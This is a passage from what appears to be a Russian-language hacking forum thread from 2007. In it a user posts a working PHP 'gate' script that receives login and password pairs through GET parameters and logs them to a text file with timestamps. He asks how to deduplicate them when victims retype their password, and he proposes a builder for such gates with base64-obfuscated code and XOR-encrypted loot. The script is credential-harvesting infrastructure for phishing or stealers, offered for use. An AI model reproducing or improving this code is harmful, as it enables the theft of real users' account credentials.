Показать сообщение отдельно

  #5  
Старый 21.11.2007, 17:44
spyke
Познающий
Регистрация: 04.08.2005
Сообщений: 62
С нами: 10929474

Репутация: 46
По умолчанию

Скрипт рабочий, но допустим, мне нужно поставить дату и время перед каждой парой логин , пароль. Я сделал вот так:
PHP код:
<?PHP
$date 
date("m/d/y H:i:s");
if (isset(
$_GET["acc"]) && isset($_GET["pass"])) {
    
$line sprintf("$date [ %s , %s ]\n"$_GET["acc"], $_GET["pass"]);

    
$suff_data file("file.txt");

    foreach (
$suff_data as $account_data)
        if (
trim($line) == trim($account_data)) die("повтор");

    
$file_id fopen("file.txt""a+");
    if (!
$file_id) die("die");

    
fputs($file_id$line);

    
fclose($file_id);
}

?>
На выходе получаем это:

Код:
11/21/07 14:23:46 [ test , test ]
11/21/07 14:23:50 [ test , test ]
11/21/07 14:23:50 [ test , test ]
11/21/07 14:39:05 [ sdfsdf , sdfdsf ]
11/21/07 14:39:09 [ sdfsdf , sdfdsf ]
11/21/07 14:39:10 [ sdfsdf , sdfdsf ]
11/21/07 14:39:13 [ sdfsdf , sdfdsf ]
11/21/07 14:39:14 [ sdfsdf , sdfdsf ]
11/21/07 14:39:26 [ werwr , sdfsdsg ]
11/21/07 14:39:36 [ werwr , sdfsdsg ]
11/21/07 14:39:37 [ werwr , sdfsdsg ]
11/21/07 14:39:43 [ werwr , sdfsdsg ]
11/21/07 14:39:44 [ werwr , sdfsdsg ]
11/21/07 14:40:00 [ werwr , sdfsdsg ]
Скрипт смотрит строки, а мне нужно чтоб он смотрел в квадратные скобки каждой строчки) И еще, юзеры зачастую первый раз вводят пароль неправильно и посылают данные еще раз. Тоесть, автоматом надо отсеивать только повторяющиеся пары логин+пароль, а не просто логин.
Предлагаю мастерам написать гибкий скрипт универсального гейта) С гуи интерфейсом и всякими фичами. Хокер выбирает, какие переменные принимать, куда их сохранять, в каком формате, ставить ли дату и время, в каком опять же формате и где, включать ли защиту от повторов. Гуи должен в конце показать кусочек пхп кода file() , со всеми нужными переменными и адресом сервера.
Вроде, я такому еще аналогов не видел.

Да, кусочек кода может модифицироваться base64 по желанию, а инфа криптоваться XOR'ом.

Последний раз редактировалось spyke; 21.11.2007 в 17:54..
 
Ответить с цитированием